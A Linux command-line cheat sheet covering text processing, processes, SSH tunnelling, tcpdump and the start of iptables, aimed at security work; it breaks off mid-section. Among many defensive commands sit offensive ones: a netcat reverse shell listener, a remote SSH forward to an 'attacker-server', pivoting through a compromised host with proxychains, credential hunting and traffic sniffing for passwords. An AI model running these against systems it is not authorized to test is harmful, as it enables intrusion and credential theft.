grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20

# Find processes by memory usage
ps aux | sort -k4 -rn | head -10

# Analyze web server requests
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# Extract unique domains from URLs
grep -oE "https?://[^/]+" urls.txt | sort -u

# Monitor live authentication attempts
tail -f /var/log/auth.log | grep --line-buffered "Failed"

grep is your text search workhorse
You'll use it thousands of times daily for log analysis , configuration review , and finding patterns in any text output

Basic grep Operations

grep "pattern" file.txt                              # Basic search
grep -i "error" log.txt                              # Case-insensitive
grep -v "DEBUG" app.log                              # Invert (exclude matches)
grep -n "TODO" code.py                               # Show line numbers
grep -c "GET" access.log                             # Count matches
grep -l "password" *.txt                             # List matching files
grep -w "root" /etc/passwd                           # Match whole word
grep -x "exact line" file.txt                        # Match entire line

Context and Surrounding Lines

grep -A 5 "error" log.txt                            # Show 5 lines After match
grep -B 5 "error" log.txt                            # Show 5 lines Before
grep -C 5 "error" log.txt                            # Show 5 lines Context (both directions)

Recursive Directory Searches

grep -r "password" /etc/                             # Recursive search
grep -R "config" /var/www/                           # Follow symlinks
grep -r --include="*.conf" "server" /etc/            # Only .conf files
grep -r --exclude="*.log" "pattern" /var/            # Exclude .log files
grep -r --exclude-dir=".git" "function" ./           # Exclude directories

Extended Regular Expressions

grep -E "error|warning|critical" syslog              # Multiple patterns (OR)
grep -E "^[0-9]+" file.txt                           # Lines starting with digits
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" log.txt  # IP addresses
grep -E "(http|https|ftp)://[^ ]+" urls.txt          # Extract URLs

Security Hunting with grep

# Failed SSH authentication
grep "Failed password" /var/log/auth.log

# Successful root logins
grep "Accepted.*root" /var/log/auth.log

# Sudo command execution
grep "COMMAND" /var/log/auth.log

# Potential SQL injection attempts
grep -i "union.*select\|concat.*char" /var/log/apache2/access.log

# Find credentials in files
grep -r -i "password\s*=\|api_key\s*=" /var/www/ --include="*.php"

# Extract email addresses
grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" documents.txt

# Hunt for suspicious cron jobs
grep -r "wget\|curl\|bash\|sh" /etc/cron* /var/spool/cron* 2>/dev/null

Regular Expressions in Linux

Regular expressions are pattern-matching mini-language
Master regex to unlock powerful text processing in grep , sed , awk , perl , python and every tool that searches or transforms text

Basic Regex Metacharacters

.          # Any single character except newline
^          # Start of line
$          # End of line
*          # Zero or more of preceding element
+          # One or more (extended regex -E)
?          # Zero or one (extended regex -E)
[]         # Character class
[^]        # Negated character class
|          # Alternation OR (extended regex -E)
()         # Grouping (extended regex -E)
\          # Escape special character

Character Classes

[abc]      # Match a , b , or c
[a-z]      # Any lowercase letter
[A-Z]      # Any uppercase letter
[0-9]      # Any digit
[a-zA-Z0-9]  # Alphanumeric
[^0-9]     # NOT a digit

Quantifiers

*          # 0 or more
+          # 1 or more (use -E flag)
?          # 0 or 1 (use -E flag)
{n}        # Exactly n times
{n,}       # n or more
{n,m}      # Between n and m times

Anchors and Boundaries

^pattern   # Start of line
pattern$   # End of line
\bword\b   # Word boundary
^$         # Empty line

Practical Regex Patterns

# IPv4 address
grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" log.txt

# Email
grep -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" contacts.txt

# URL
grep -E "https?://[a-zA-Z0-9./?=_-]+" file.txt

# MAC address
grep -E "([0-9A-Fa-f]{2}:){5}[[0-9A-Fa-f]{2}" network.log

# Date YYYY-MM-DD
grep -E "[0-9]{4}-[0-9]{2}-[0-9]{2}" logs.txt

# Phone number US format
grep -E "\(?[0-9]{3}\)?[-. ]?[0-9]{3}[-. ]?[0-9]{4}" contacts.txt

# Credit card (basic pattern)
grep -E "[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}" data.txt

awk Text Processing Engine

awk is a complete programming language designed for text processing
It excels at column extraction , numeric calculations , and complex transformations

Basic awk Syntax

awk '{print}' file.txt                               # Print all lines
awk '{print $1}' file.txt                            # First column
awk '{print $1, $3}' file.txt                        # Columns 1 and 3
awk '{print $NF}' file.txt                           # Last column
awk '{print NR, $0}' file.txt                        # Add line numbers

Field Separators

awk -F: '{print $1}' /etc/passwd                     # Colon separator
awk -F',' '{print $2, $4}' data.csv                  # Comma separator
awk -F'[,:]' '{print $1}' file.txt                   # Multiple separators
awk 'BEGIN {FS=":"} {print $1, $7}' /etc/passwd      # Set FS in BEGIN

Pattern Matching and Conditions

awk '/error/ {print}' log.txt                        # Lines containing "error"
awk '!/DEBUG/ {print}' app.log                       # Exclude pattern
awk '$3 > 1000 {print $1, $3}' data.txt              # Numeric condition
awk 'NR > 10 {print}' file.txt                       # Skip first 10 lines
awk 'NR >= 5 && NR <= 15 {print}' file.txt           # Line range
awk 'length($0) > 100 {print}' file.txt              # Long lines

Built-in Variables

$0         # Entire line
$1..$NF    # Field values
NF         # Number of fields in current record
NR         # Current record number (line number)
FNR        # Record number in current file
FS         # Input field separator
OFS        # Output field separator
RS         # Input record separator
ORS        # Output record separator
FILENAME   # Current filename

Arithmetic Operations

awk '{sum += $3} END {print sum}' numbers.txt        # Sum column 3
awk '{sum += $3; count++} END {print sum/count}' data.txt  # Average
awk '{total += $2} END {print total/1024/1024 " MB"}' sizes.txt  # Convert to MB
awk 'BEGIN {max=0} {if($3 >max) max=$3} END {print max}' data.txt  # Maximum

Security Analysis Examples

# Extract all usernames
awk -F: '{print $1}' /etc/passwd

# Normal users (UID >= 1000)
awk -F: '$3 >= 1000 {print $1, $3, $7}' /etc/passwd

# Count requests per IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# Failed password attempts with details
awk '/Failed password/ {print $1, $2, $3, $9, "from", $11}' /var/log/auth.log

# Calculate total bandwidth
awk '{sum += $10} END {print "Total:", sum/1024/1024, "MB"}' access.log

# High CPU processes
ps aux | awk '$3 > 50.0 {print $1, $2, $3, $11}'

# Extract listening ports
ss -tulpn | awk 'NR>1 {split($5,a,":"); print a[length(a)]}' | sort -u

Advanced awk Programming

# BEGIN and END blocks
awk 'BEGIN {print "Report Started"} {print $0} END {print "Total Lines:", NR}' file.txt

# String functions
awk '{print toupper($1)}' file.txt                   # Convert to uppercase
awk '{print substr($0,1,20)}' file.txt               # Extract substring
awk '{print length($0)}' file.txt                    # Line length

# Arrays
awk '{count[$1]++} END {for(ip in count) print ip, count[ip]}' access.log

# Multiple conditions
awk '{if($3>100) print $1,"HIGH"; else if($3>50) print $1,"MEDIUM"; else print $1,"LOW"}' data.txt

sed Stream Editor

sed performs find-replace and text transformations without opening an editor
Essential for config modifications , log sanitization , and bulk text changes

Basic Substitution

sed 's/old/new/' file.txt                            # Replace first occurrence per line
sed 's/old/new/g' file.txt                           # Global replace (all occurrences)
sed 's/old/new/gi' file.txt                          # Case-insensitive global
sed 's/old/new/3' file.txt                           # Replace 3rd occurrence
sed -i 's/old/new/g' file.txt                        # In-place edit
sed -i.bak 's/old/new/g' file.txt                    # In-place with backup

Line Selection and Printing

sed -n '10p' file.txt                                # Print line 10 only
sed -n '10,20p' file.txt                             # Print lines 10-20
sed -n '/pattern/p' file.txt                         # Print matching lines
sed -n '/start/,/end/p' file.txt                     # Print between patterns
sed -n '1,5p' file.txt                               # First 5 lines

Deletion Operations

sed '/pattern/d' file.txt                            # Delete matching lines
sed '10d' file.txt                                   # Delete line 10
sed '10,20d' file.txt                                # Delete lines 10-20
sed '/^$/d' file.txt                                 # Delete empty lines
sed '/^#/d' file.txt                                 # Delete comment lines
sed '/^\s*$/d' file.txt                              # Delete empty or whitespace-only

Insertion and Appending

sed '5i\New text' file.txt                           # Insert before line 5
sed '5a\New text' file.txt                           # Append after line 5
sed '/pattern/i\New line' file.txt                   # Insert before match
sed '/pattern/a\New line' file.txt                   # Append after match

Advanced Text Manipulation

sed 's/^/PREFIX: /' file.txt                         # Add prefix to every line
sed 's/$/SUFFIX/' file.txt                           # Add suffix
sed 's/  */ /g' file.txt                             # Squeeze multiple spaces
sed 's/^[ \t]*//' file.txt                           # Remove leading whitespace
sed 's/[ \t]*$//' file.txt                           # Remove trailing whitespace
sed 's/\r$//' windows.txt                            # Remove Windows carriage returns

Multiple Operations

sed 's/foo/bar/g; s/old/new/g' file.txt              # Multiple substitutions
sed -e 's/foo/bar/g' -e 's/old/new/g' file.txt       # Alternative syntax
sed -f script.sed input.txt                          # Execute commands from file

Security Applications

# Remove comments and empty lines
sed '/^#/d; /^$/d' /etc/ssh/sshd_config

# Sanitize IPs in logs
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/XXX.XXX.XXX.XXX/g' auth.log

# Extract URLs from HTML
sed -n 's/.*href="\([^"]*\)".*/\1/p' index.html

# Comment out configuration lines
sed '/^Port/s/^/#/' sshd_config

# Uncomment lines
sed '/^#.*PermitRootLogin/s/^#//' sshd_config

# Change all IP occurrences
sed -i 's/192\.168\.1\./10.0.0./g' network_config.txt

# Remove ANSI color codes
sed 's/\x1b\[[0-9;]*m//g' colored_output.txt

cut Column Extraction

cut extracts columns from delimited text
Simple and fast for basic column operations

Field-Based Extraction

cut -d: -f1 /etc/passwd                              # Extract usernames
cut -d: -f1,7 /etc/passwd                            # Username and shell
cut -d: -f1-3 /etc/passwd                            # Fields 1 through 3
cut -d',' -f2,4 data.csv                             # CSV columns 2 and 4
echo "192.168.1.100" | cut -d. -f1-3                 # First 3 octets

Character-Based Extraction

cut -c1-10 file.txt                                  # Characters 1-10
cut -c5- file.txt                                    # From character 5 to end
cut -c-20 file.txt                                   # First 20 characters

Practical Examples

# Extract just IP addresses from custom format log
cut -d' ' -f1 access.log | sort | uniq

# Get all shells in use
cut -d: -f7 /etc/passwd | sort | uniq

# Extract process names
ps aux | tr -s ' ' | cut -d' ' -f11

# Parse colon-delimited data
cat data.txt | cut -d: -f2,3,5

sort and uniq Data Organization

sort arranges lines alphabetically or numerically
uniq remove or count duplicate adjacent lines

Basic Sorting

sort file.txt                                        # Alphabetical sort
sort -r file.txt                                     # Reverse order
sort -n numbers.txt                                  # Numeric sort
sort -h filesizes.txt                                # Human-readable numbers (1K , 2M)
sort -u file.txt                                     # Sort and remove duplicates

Advanced Sorting Options

sort -k 2 data.txt                                   # Sort by column 2
sort -k 2,2 -k 3,3 data.txt                          # Sort by columns 2 then 3
sort -t: -k3 -n /etc/passwd                          # Numeric sort by UID
sort -t',' -k2 -rn data.csv                          # Reverse numeric on 2nd field

Unique Operations

sort file.txt | uniq                                 # Remove adjacent duplicates
sort file.txt | uniq -c                              # Count occurrences
sort file.txt | uniq -d                              # Show only duplicates
sort file.txt | uniq -u                              # Show only unique lines

Security Analysis Pipelines

# Top attacking IPs
awk '{print $1}' access.log |

 sort | uniq -c | sort -rn | head -20

# Count unique error messages
grep "error" app.log | sort | uniq -c | sort -rn

# Find duplicate entries
sort /etc/passwd | uniq -d

# Top requested URLs
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -10

# Numeric sort by file size
ls -l | awk '{print $5, $9}' | sort -nr

tr Character Translation

tr translates or deletes characters
Perfect for case conversions and character substitutions

echo "hello" | tr 'a-z' 'A-Z'                        # Uppercase
echo "192.168.1.1" | tr '.' '\n'                     # Replace dots
echo "hello world" | tr ' ' '_'                      # Replace spaces
echo "hello123" | tr -d '0-9'                        # Delete digits
cat file.txt | tr -d '\r'                            # Remove carriage returns
echo "a  b    c" | tr -s ' '                         # Squeeze multiple spaces

wc Word and Line Counting

wc counts lines , words , and characters

wc -l file.txt                                       # Count lines
wc -w file.txt                                       # Count words
wc -c file.txt                                       # Count bytes
grep "Failed" /var/log/auth.log | wc -l              # Count matches
ps aux | wc -l                                       # Count processes

diff and patch File Comparison

diff shows differences between files

diff file1.txt file2.txt                             # Show changes
diff -u file1.txt file2.txt                          # Unified format
diff -r dir1/ dir2/                                  # Directory comparison
diff -u old.conf new.conf > changes.patch            # Create patch
patch old.conf < changes.patch                       # Apply patch

Security use - compare configs before and after changes to detect tampering


Building Analysis Pipelines

Combining commands creates powerful workflows

# Top attacking IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -10

# Find large recent files
find / -type f -mtime -7 2>/dev/null | xargs ls -lh | awk '$5 ~ /G/ {print}'

# Process memory ranking
ps aux | awk '{print $6/1024, $11}' | sort -rn | head -15

# Network connections by state
ss -tan | awk 'NR>1 {print $1}' | sort | uniq -c

Understanding Linux Processes

Every running program is a process
Processes have unique PIDs , parent-child relationships , resource usage , and states

Process States

  • R (Running) - Currently executing or ready to run
  • S (Sleeping) - Waiting for event (interruptible)
  • D (Disk Sleep) - Waiting for I/O (uninterruptible)
  • Z (Zombie) - Terminated but not reaped by parent
  • T (Stopped) - Stopped by signal or debugging
  • I (Idle) - Kernel thread

Process Attributes

ps -p $$ -o pid,ppid,cmd,state,nice,%cpu,%mem        # Current shell process
ps aux | head                                        # All processes
cat /proc/$$/status                                  # Detailed process info

Each process has PID (process ID) , PPID (parent process ID) , UID (user ID) , priority , memory usage , and execution state


Process Viewing with ps

ps shows snapshot of current processes
Learn ps flags to filter and format process information effectively

Common ps Formats

ps aux                                               # All processes , all users
ps -ef                                               # Alternative full format
ps -u username                                       # Processes by specific user
ps -p 1234                                           # Specific PID
ps -C apache2                                        # Processes by command name
ps --forest                                          # Tree view (parent-child)
ps aux --sort=-%mem                                  # Sort by memory usage
ps aux --sort=-%cpu                                  # Sort by CPU usage
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head   # Custom columns

Output Column Meanings

USER    - Process owner
PID     - Process ID
%CPU    - CPU usage percentage
%MEM    - Memory usage percentage
VSZ     - Virtual memory size (KB)
RSS     - Resident set size (physical memory in KB)
TTY     - Controlling terminal (? means no terminal)
STAT    - Process state (R,S,D,Z,T,I with modifiers)
START   - Start time
TIME    - Cumulative CPU time
COMMAND - Command with arguments

Security Enumeration

ps aux | grep root                                   # Root-owned processes
ps -u www-data                                       # Web server processes
ps aux | grep -E "nc|ncat|socat"                     # Network tools running
ps -eo pid,user,args | grep -v "^\[.*\]"            # Non-kernel processes
ps aux --forest | grep -A 5 -B 5 suspicious_proc     # Process tree context

Real-time Monitoring top htop

top provides real-time dynamic view of running system
htop is enhanced version with better interface

top Interactive Commands

top                                                  # Start top

Inside top:

  • M - Sort by memory usage
  • P - Sort by CPU usage
  • T - Sort by running time
  • k - Kill process (enter PID)
  • r - Renice process (change priority)
  • u - Filter by user
  • 1 - Toggle individual CPU cores
  • c - Toggle command line display
  • q - Quit

top Command-Line Options

top -u username                                      # Monitor specific user
top -p 1234,5678                                     # Monitor specific PIDs
top -b -n 1                                          # Batch mode (one iteration)
top -d 5                                             # Update every 5 seconds

htop Advantages

htop                                                 # Start htop

htop features - mouse support , color-coded output , tree view built-in , easier process killing , scrollable process list , better visual representation

Load Average Interpretation

Top shows three load averages (1-minute , 5-minute , 15-minute)
Load represents average number of processes waiting for CPU
If load exceeds CPU core count , system is overloaded

On 4-core system: * Load 2.0 = 50% utilized * Load 4.0 = 100% utilized
* Load 8.0 = 200% overloaded (processes waiting)


Process Hierarchy and pstree

pstree displays processes in tree structure showing parent-child relationships
Essential for understanding process spawning and service dependencies

pstree                                               # Show full process tree
pstree -p                                            # Include PIDs
pstree -u                                            # Show user transitions
pstree username                                      # Tree for specific user
pstree -a                                            # Show command arguments
pstree -h                                            # Highlight current process
pstree -H 1234                                       # Highlight specific PID

Understanding Process Trees

systemd(1)───sshd(850)───sshd(1523)───bash(1524)───pstree(1600)

This shows systemd spawned sshd , which forked to handle connection , which spawned bash , which ran pstree

Security Analysis

pstree -p | grep -A 5 -B 5 suspicious                # Context around suspicious process
pstree -u | grep www-data                            # Web server process tree
pstree -p $(pgrep malware)                           # Tree of specific process

Signals and Process Control

Signals are software interrupts sent to processes
Understanding signals is critical for process management and security

Common Signals

Signal  Number  Description
SIGHUP    1     Hangup (reload configuration)
SIGINT    2     Interrupt (Ctrl+C)
SIGQUIT   3     Quit (Ctrl+\)
SIGKILL   9     Kill (cannot be caught or ignored)
SIGTERM  15     Termination (graceful shutdown)
SIGSTOP  19     Stop (cannot be caught)
SIGCONT  18     Continue if stopped
SIGUSR1  10     User-defined signal 1
SIGUSR2  12     User-defined signal 2

Sending Signals

kill 1234                                            # Send SIGTERM (15)
kill -9 1234                                         # Send SIGKILL (force)
kill -HUP 1234                                       # Send SIGHUP (reload)
kill -STOP 1234                                      # Pause process
kill -CONT 1234                                      # Resume process
kill -l                                              # List all signals
killall process_name                                 # Kill by name
killall -9 hung_process                              # Force kill by name
pkill pattern                                        # Kill by pattern match
pkill -9 -u baduser                                  # Force kill user's processes

Signal Behavior

SIGTERM (15) requests graceful shutdown - process can cleanup
SIGKILL (9) immediately terminates - no cleanup possible
SIGHUP (1) often causes services to reload configuration without restarting

Security Implications

# Cannot kill process with SIGTERM
kill -9 rootkit_pid                                  # Force termination

# Reload service configuration
kill -HUP $(cat /var/run/nginx.pid)

# Mass termination
pkill -9 -u compromised_user                         # Kill all user processes

Background and Foreground Jobs

Job control lets you manage multiple processes in single shell
Critical for managing long-running tasks without multiple terminals

Job Control Basics

./long_script.sh &                                   # Start in background
# [1] 1234 (job number and PID displayed)

jobs                                                 # List background jobs
jobs -l                                              # Include PIDs
fg                                                   # Bring most recent to foreground
fg %1                                                # Bring job 1 to foreground
bg                                                   # Resume suspended job in background
bg %2                                                # Resume job 2 in background

Suspending and Resuming

# Running command in foreground
Ctrl+Z                                               # Suspend current process
# [1]+ Stopped ./script.sh

bg                                                   # Continue in background
fg                                                   # Bring back to foreground

Job References

%1      - Job number 1
%str    - Job starting with str
%?str   - Job containing str
%%      - Current job
%+      - Current job
%-      - Previous job

Killing Jobs

kill %1                                              # Kill job 1
kill %?script                                        # Kill job matching pattern

Process Priority nice and renice

Process priority determines CPU scheduling
Nice values range from -20 (highest priority) to 19 (lowest priority)

Starting Process with Priority

nice -n 10 ./cpu_intensive.sh                        # Low priority (10)
nice -n -5 ./important.sh                            # High priority (-5, requires root)
nice --10 ./script.sh                                # Alternative syntax

Changing Running Process Priority

renice -n 5 -p 1234                                  # Change PID 1234 to nice 5
renice -n 10 -u username                             # Change all user's processes
renice -n -10 -p 1234                                # Increase priority (requires root)

Viewing Process Priority

ps -o pid,nice,cmd                                   # Show nice values
ps -eo pid,ni,cmd --sort=-ni                         # Sort by nice value
top                                                  # Shows NI column

Priority Ranges

Nice  Priority  Use Case
-20   Highest   Critical system processes
-10   High      Important services
0     Normal    Default (most processes)
10    Low       Background tasks
19    Lowest    Batch processing

Security Considerations

Only root can increase priority (lower nice value)
Regular users can only decrease priority (increase nice value)
Prevent resource exhaustion by lowering untrusted process priority

renice -n 19 -u untrusted_user                       # Lowest priority for user
nice -n 15 ./suspicious_binary                       # Run untrusted code with low priority

Terminal Multiplexers screen and tmux

Terminal multiplexers create persistent sessions that survive disconnection
Essential for remote administration and long-running tasks

screen Basics

screen                                               # Start new session
screen -S session_name                               # Named session
screen -ls                                           # List sessions
screen -r                                            # Reattach to session
screen -r session_name                               # Reattach to specific session
screen -d -r session_name                            # Detach elsewhere and reattach here

screen Commands (inside session)

Ctrl+A then D    - Detach from session
Ctrl+A then C    - Create new window
Ctrl+A then N    - Next window
Ctrl+A then P    - Previous window
Ctrl+A then K    - Kill current window
Ctrl+A then [    - Enter copy mode
Ctrl+A then ]    - Paste
Ctrl+A then ?    - Help

tmux Basics

tmux                                                 # Start new session
tmux new -s session_name                             # Named session
tmux ls                                              # List sessions
tmux attach -t session_name                          # Attach to session
tmux kill-session -t session_name                    # Kill session

tmux Commands (inside session)

Ctrl+B then D    - Detach
Ctrl+B then C    - New window
Ctrl+B then N    - Next window
Ctrl+B then P    - Previous window
Ctrl+B then %    - Split pane vertically
Ctrl+B then "    - Split pane horizontally
Ctrl+B then Arrow - Navigate panes
Ctrl+B then X    - Kill pane
Ctrl+B then [    - Enter copy mode

Security Operations Usage

# Start persistent reverse shell listener
screen -S listener
nc -lvnp 4444

# Long-running scan
tmux new -s scan
nmap -sS -p- -T4 target_network

# Monitor logs continuously
screen -S logs
tail -f /var/log/auth.log

Multiplexers maintain sessions even if SSH connection drops
Reattach later to continue exactly where you left off


Process Monitoring lsof and fuser

lsof lists open files and network connections
fuser identifies processes using files or sockets

lsof File Operations

lsof                                                 # List all open files (huge output)
lsof /var/log/syslog                                 # What process has file open
lsof +D /var/www/                                    # All open files in directory
lsof-p 1234                                         # Files opened by PID
lsof -u username                                     # Files opened by user
lsof -c apache                                       # Files opened by processes matching name

lsof Network Operations

lsof -i                                              # All network connections
lsof -i :80                                          # What's using port 80
lsof -i :22                                          # SSH connections
lsof -i TCP                                          # All TCP connections
lsof -i UDP                                          # All UDP connections
lsof -i TCP:LISTEN                                   # Listening TCP ports
lsof -i @192.168.1.5                                 # Connections to specific IP

Security Enumeration

# Find who's connected via SSH
lsof -i :22

# Check for suspicious network connections
lsof -i | grep ESTABLISHED | grep -v ":22\|:80\|:443"

# Find process with deleted binary (rootkit indicator)
lsof | grep deleted

# Check what user is doing
lsof -u suspicious_user

# Find all listening ports
lsof -i -P -n | grep LISTEN

fuser Usage

fuser /var/log/syslog                                # PIDs using file
fuser -v /var/log/syslog                             # Verbose output with user
fuser -k /var/log/syslog                             # Kill processes using file
fuser 80/tcp                                         # What's using TCP port 80
fuser -n tcp 80                                      # Alternative syntax
fuser -k 4444/tcp                                    # Kill process using port

System Call Tracing with strace

strace traces system calls made by processes
Invaluable for debugging and malware analysis

Basic strace Usage

strace ls                                            # Trace ls command
strace -p 1234                                       # Attach to running process
strace -f -p 1234                                    # Follow forks
strace -e open ls                                    # Trace only open() calls
strace -e trace=network nc -l 4444                   # Trace network syscalls
strace -e trace=file cat /etc/passwd                 # Trace file operations
strace -c ls                                         # Summary statistics

Common System Call Categories

strace -e trace=open,openat,read,write program       # File I/O
strace -e trace=socket,connect,bind,accept program   # Network
strace -e trace=process program                      # Process management
strace -e trace=signal program                       # Signal handling
strace -e trace=memory program                       # Memory operations

Output Control

strace -o output.txt ls                              # Save to file
strace -s 200 cat file                               # String size (default 32)
strace -t ls                                         # Include timestamps
strace -T ls                                         # Show time spent in each syscall
strace -v ls                                         # Verbose (no abbreviations)

Security Analysis

# Trace what file a program tries to open
strace -e open,openat ./suspicious_binary 2>&1 | grep -i passwd

# Monitor network connections
strace -e trace=network ./program

# Find configuration files used
strace -e open,openat service_name 2>&1 | grep "\.conf"

# Detect anti-debugging
strace ./malware 2>&1 | grep ptrace

# Watch file access attempts
strace -e trace=file -f -p $(pgrep process_name)

strace output shows syscall name , arguments , and return value
Essential for understanding program behavior without source code

Network Interface Configuration

Modern Linux uses ip command for network configuration

ip addr show                                         # All interfaces
ip addr add 192.168.1.100/24 dev eth0                # Add IP
ip link set eth0 up                                  # Enable interface
ip route show                                        # Routing table
ip route add default via 192.168.1.1                 # Add gateway
ip neigh show                                        # ARP table

Network Connectivity Testing

ping -c 4 8.8.8.8                                    # Test connectivity
traceroute google.com                                # Route tracing
mtr google.com                                       # Combined ping/trace
nc -lvnp 4444                                        # Netcat listener
nc -zv host 1-1000                                   # Port scan

Socket Statistics ss and netstat

ss -tulpn                                            # All listening with PIDs
ss -t state established                              # Established TCP
ss sport = :22                                       # SSH connections
netstat -tulpn                                       # Legacy equivalent

DNS Resolution Tools

dig google.com                                       # DNS lookup
dig @8.8.8.8 google.com                              # Specific DNS server
dig +trace google.com                                # Trace delegation
dig -x 8.8.8.8                                       # Reverse lookup
host google.com                                      # Simple lookup
nslookup google.com                                  # Interactive DNS

HTTP Operations curl and wget

curl http://example.com                              # GET request
curl -I http://site.com                              # Headers only
curl -X POST -d "data" http://api.com                # POST request
curl -H "Auth: token" http://api.com                 # Custom header
wget http://site.com/file.zip                        # Download file
wget -r -k http://site.com                           # Mirror site

SSH Fundamentals and Key Management

SSH is the backbone of remote Linux administration
Master SSH completely for secure remote access

Basic SSH Connection

ssh user@192.168.1.5                                 # Default port 22
ssh -p 2222 user@host                                # Custom port
ssh -i ~/.ssh/id_rsa user@host                       # Specific key
ssh -v user@host                                     # Verbose (debugging)
ssh -vvv user@host                                   # Very verbose
ssh user@host 'uptime'                               # Execute single command
ssh user@host 'cat /etc/passwd' > local_file         # Redirect output locally

SSH Key Generation

ssh-keygen -t rsa -b 4096 -C "comment"               # RSA 4096-bit
ssh-keygen -t ed25519 -C "comment"                   # Ed25519 (modern)
ssh-keygen -t ecdsa -b 521                           # ECDSA
ssh-keygen -p -f ~/.ssh/id_rsa                       # Change passphrase

SSH Key Distribution

ssh-copy-id user@host                                # Easy key deployment
ssh-copy-id -i ~/.ssh/id_custom.pub user@host        # Specific key
cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'  # Manual method

SSH Agent

eval $(ssh-agent)                                    # Start agent
ssh-add ~/.ssh/id_rsa                                # Add key to agent
ssh-add -l                                           # List loaded keys
ssh-add -D                                           # Remove all keys
ssh-add -t 3600 ~/.ssh/id_rsa                        # Add with 1-hour timeout

SSH Tunneling and Port Forwarding

SSH tunneling creates encrypted channels for traffic
Critical for pivoting through networks during penetration testing

Local Port Forwarding (-L)

Forward local port to remote destination through SSH server

ssh -L 8080:localhost:80 user@server
# Access localhost:8080 on your machine → connects to port 80 on server

Real-world examples:

# Access internal web interface
ssh -L 8080:internal.server:80 user@jumpbox
# Browse to localhost:8080

# Database access through bastion
ssh -L 3306:database.internal:3306 user@bastion
# Connect MySQL client to localhost:3306

# Multiple forwards
ssh -L 8080:web:80 -L 3306:db:3306 user@jump

Remote Port Forwarding (-R)

Forward remote port back to local machine

ssh -R 8080:localhost:80 user@server
# Port 8080 on server → connects back to port 80 on your machine

Use cases:

# Expose local web server to remote
ssh -R 9000:localhost:3000 user@public-server

# Reverse shell alternative
ssh -R 4444:localhost:22 user@attacker-server

Dynamic Port Forwarding (-D)

Creates SOCKS proxy for routing traffic

ssh -D 9050 user@server
# Configure browser/apps to use SOCKS5 proxy localhost:9050
# All traffic routes through server

Security operations:

# Route through compromised box
ssh -D 9050 user@pivotbox
# Configure proxychains or browser

# Combine with ProxyChains
# Edit /etc/proxychains.conf
# socks5 127.0.0.1 9050
proxychains nmap target_network

SSH ProxyJump and Config

ProxyJump hops through intermediate hosts
SSH config file saves connection settings

ProxyJump Command Line

ssh -J jumphost user@target                          # Single hop
ssh -J user1@hop1,user2@hop2 user3@target           # Multiple hops
ssh -J jumpbox -L 8080:internal:80 user@target      # Combine with tunneling

SSH Config File (~/.ssh/config)

Create persistent connection profiles

Host target
    HostName 192.168.1.100
    User pentester
    Port 2222
    IdentityFile ~/.ssh/target_key
    LocalForward 8080 localhost:80
    DynamicForward 9050

Host jumpbox
    HostName jump.example.com
    User admin
    IdentityFile ~/.ssh/jump_key

Host internal
    HostName 10.0.0.50
    User admin
    ProxyJump jumpbox
    LocalForward 3306 localhost:3306

Host *
    ServerAliveInterval 60
    ServerAliveCountMax 3
    Compression yes

Now connect with simple commands:

ssh target                                           # Uses all saved settings
ssh internal                                         # Automatically jumps through jumpbox

Advanced Config Options

StrictHostKeyChecking no     # Skip host key verification (testing only)
UserKnownHostsFile /dev/null # Don't save host keys (testing only)
ControlMaster auto           # Connection multiplexing
ControlPath ~/.ssh/cm-%r@%h:%p
ControlPersist 10m           # Keep connection 10 minutes

Packet Capture with tcpdump

tcpdump captures and analyzes network packets
Essential for network troubleshooting and traffic analysis

Basic Capture

tcpdump -i eth0                                      # Capture on eth0
tcpdump -i any                                       # All interfaces
tcpdump -n                                           # Don't resolve hostnames
tcpdump -nn                                          # Don't resolve hosts or ports
tcpdump -c 100                                       # Capture 100 packets then stop
tcpdump -w capture.pcap                              # Write to file
tcpdump -r capture.pcap                              # Read from file

Filters

tcpdump host 192.168.1.5                             # Traffic to/from host
tcpdump src 192.168.1.5                              # Source host only
tcpdump dst 192.168.1.5                              # Destination host only
tcpdump port 80                                      # HTTP traffic
tcpdump portrange 1-1024                             # Port range
tcpdump tcp                                          # TCP only
tcpdump udp                                          # UDP only
tcpdump icmp                                         # ICMP only

Complex Filters

# HTTP traffic to/from specific host
tcpdump 'tcp port 80 and (src host 192.168.1.5 or dst host 192.168.1.5)'

# TCP SYN packets (connection attempts)
tcpdump 'tcp[tcpflags] & (tcp-syn) != 0'

# Non-SSH traffic
tcpdump 'port not 22'

# Capture passwords in FTP
tcpdump -A 'tcp port 21'

# DNS queries
tcpdump -n 'udp port 53'

Output Options

tcpdump -A                                           # Print packets in ASCII
tcpdump -X                                           # Print in hex and ASCII
tcpdump -v                                           # Verbose
tcpdump -vv                                          # More verbose
tcpdump -s 0                                         # Capture full packets (default 262144)
tcpdump -C 100 -w capture.pcap                       # Rotate file every 100MB

Security Analysis

# Capture credentials
tcpdump -A 'tcp port 21 or tcp port 23 or tcp port 80'

# Monitor DNS exfiltration
tcpdump -n 'udp port 53' | grep -E '[a-f0-9]{32,}'

# Detect port scanning
tcpdump 'tcp[tcpflags] == tcp-syn'

# Capture all traffic from suspicious IP
tcpdump -w suspicious.pcap host 203.0.113.5

# Monitor for reverse shells
tcpdump 'tcp dst port 4444 or tcp dst port 31337'

Firewall Management iptables and ufw

Control network traffic with packet filtering

iptables Fundamentals

# List rules
iptables -L -n -v                                    # List all
iptables -L INPUT -n -v                              # Specific chain
iptables -S                                          # Show as commands

# Default policies
iptables -P INPUT DROP                               # Drop incoming by default
iptables -P FORWARD DROP                             # Drop forwarding
iptables -P OUTPUT ACCEPT                            # Allow outgoing

# Allow loopback
